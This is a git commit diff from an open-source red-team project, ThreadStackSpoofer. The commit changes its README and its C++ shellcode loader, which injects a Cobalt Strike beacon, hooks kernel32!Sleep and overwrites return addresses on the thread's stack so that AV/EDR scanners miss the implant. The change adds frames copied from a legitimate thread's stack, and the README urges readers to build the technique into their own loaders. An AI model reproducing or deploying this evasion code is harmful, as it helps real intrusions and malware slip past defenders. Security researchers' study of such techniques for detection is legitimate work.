This commit is contained in:
Mariusz B. / mgeeky
2021-09-27 15:09:20 +02:00
parent c301c6cb02
commit 33887b079d
4 changed files with 68 additions and 9 deletions
+12 -4
View File
@@ -12,9 +12,6 @@ Especially demonstrated in this video:
[Nighthawk - Thread Stack Spoofing](https://vimeo.com/581861665)
**A note on wording** - some may argue that the technique presented in this implementation is not strictly **_Thread Stack Spoofing_** but rather _Call Stack Spoofing_ to some extent.
I myself believe, that whatever wording is used here, the outcome remains similar to what was presented in an originally named technique - thus the borrowed name for this code. Since we're clobbering some pointers on the thread's stack, wouldn't we call it spoofing the stack anyway and ultimatley still resort to - _Thread Stack Spoofing_? The answer is left to the reader.
## How it works?
This program performs self-injection shellcode (roughly via classic `VirtualAlloc` + `memcpy` + `CreateThread`).
@@ -49,6 +46,17 @@ _(the above image was borrowed from **Eli Bendersky's** post named [Stack frame
This precise logic is provided by `walkCallStack` and `spoofCallStack` functions in `main.cpp`.
## Actually this is not (yet) a true stack spoofing
As it's been pointed out to me, the technique here is not _yet_ truely holding up to its name for being _stack spoofer_. Since we're merely overwriting return addresses on the thread's stack, we're not spoofing the rest part of the stack itself and also, in its current form, where we leave a sequence of `::CreateFileW` addresses acting as an example, we're making the stack non-unwindable. Meaning, the stack looks rather odd at first sight.
However I'm aware of this fact, at the moment I've left it as is since I cared mostly about automated scanners that could iterate over processes, enumerate their threads, walk those threads stacks and pick up on any return address pointing back to a non-image memory (such as `SEC_PRIVATE` - the one allocated dynamically by `VirtuaAlloc` and friends). A focused malware analyst would immediately spot the oddity and consider the thread rather unusual, hunting down our implant. More than sure about it. Yet, I don't believe that nowadays automated scanners such as AV/EDR have sorts of heuristics implemented that would _actually walk each thread's stack_ to verify whether its un-windable.
Surely with this project (and commercial implemention found in C2 frameworks) AV & EDR vendors have now received arguments to consider implementing these heuristics.
The research on this subject is not yet finished and hopefully will result in better quality Stack Spoofing in upcoming days. Nonetheless, I'm releasing what I got so far, to sparkle inspirations and interest community into better researching this area.
## How do I use it?
Look at the code and its implementation, understand the concept and re-implement the concept within your own Shellcode Loaders that you utilise to deliver your Red Team engagements.
@@ -159,7 +167,7 @@ If our callback is not called, the thread will be unable to spoof its own call s
If that's what you want to have, than you might need to run another, watchdog thread, making sure that the Beacons thread will get spoofed whenever it sleeps.
If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/rsmudge/unhook-bof/pull/2) that adds optional parameter to the BOF specifying libraries that should not be unhooked.
If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/Cobalt-Strike/unhook-bof/pull/1) that adds optional parameter to the BOF specifying libraries that should not be unhooked.
This way you can maintain your hooks in kernel32:
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommandArguments>d:\dev2\ThreadStackSpoofer\ThreadStackSpoofer\x64\Debug\beacon64.bin</LocalDebuggerCommandArguments>
<LocalDebuggerCommandArguments>d:\dev2\ThreadStackSpoofer\tests\beacon64.bin 1</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>
+3 -1
View File
@@ -51,7 +51,9 @@ struct StackTraceSpoofingMetadata
LPVOID pSymGetModuleBase64;
bool initialized;
CallStackFrame spoofedFrame[MaxStackFramesToSpoof];
CallStackFrame mimicFrame[MaxStackFramesToSpoof];
size_t spoofedFrames;
size_t mimickedFrames;
};
struct HookedSleep
@@ -87,7 +89,7 @@ static const DWORD Shellcode_Memory_Protection = PAGE_EXECUTE_READ;
bool hookSleep();
bool injectShellcode(std::vector<uint8_t>& shellcode);
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode);
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames = false);
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames, size_t framesToPreserve = Frames_To_Preserve);
bool initStackSpoofing();
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL);
void spoofCallStack(bool overwriteOrRestore);
+52 -3
View File
@@ -112,7 +112,7 @@ bool hookSleep()
return true;
}
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames /*= false*/)
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames, size_t framesToPreserve)
{
CONTEXT c = { 0 };
STACKFRAME64 s = { 0 };
@@ -217,7 +217,7 @@ void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, siz
// Skip first two frames as they most likely link back to our callers - and thus we can't spoof them:
// MySleep(...) -> spoofCallStack(...) -> ...
//
if (Frame < Frames_To_Preserve)
if (Frame < framesToPreserve)
continue;
bool skipFrame = false;
@@ -267,14 +267,23 @@ void spoofCallStack(bool overwriteOrRestore)
{
for (size_t i = 0; i < numOfFrames; i++)
{
if (i > g_stackTraceSpoofing.mimickedFrames)
{
CallStackFrame frame = { 0 };
g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame;
break;
}
auto& frame = frames[i];
auto& mimicframe = g_stackTraceSpoofing.mimicFrame[i];
if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof)
{
//
// We will use CreateFileW as a fake return address to place onto the thread's frame on stack.
//
frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
//frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
frame.overwriteWhat = (ULONG_PTR)mimicframe.retAddr;
//
// We're saving original frame to later use it for call stack restoration.
@@ -445,6 +454,40 @@ bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
return (NULL != thread.get());
}
/*
void _acquireLegitimateThreadStack(LPVOID param)
{
ULONG_PTR lowLimit = 0, highLimit = 0;
ULONG stackSize = highLimit - lowLimit;
GetCurrentThreadStackLimits(&lowLimit, &highLimit);
g_stackTraceSpoofing.legitimateStackContents.resize(stackSize, 0);
memcpy(g_stackTraceSpoofing.legitimateStackContents.data(), (const void*)lowLimit, stackSize);
}
*/
bool acquireLegitimateThreadStack()
{
CallStackFrame frames[MaxStackFramesToSpoof] = { 0 };
size_t numOfFrames = 0;
HandlePtr secondThread(::CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)::Sleep,
(LPVOID)INFINITE,
0,
0
), &::CloseHandle);
Sleep(1000);
walkCallStack(secondThread.get(), g_stackTraceSpoofing.mimicFrame, _countof(g_stackTraceSpoofing.mimicFrame), &g_stackTraceSpoofing.mimickedFrames, false, 0);
return g_stackTraceSpoofing.mimickedFrames > 0;
}
int main(int argc, char** argv)
{
if (argc < 3)
@@ -472,6 +515,12 @@ int main(int argc, char** argv)
return 1;
}
if (!acquireLegitimateThreadStack())
{
log("[!] Could not acquire legitimate thread's stack.");
return 1;
}
log("[.] Hooking kernel32!Sleep...");
if (!hookSleep())
{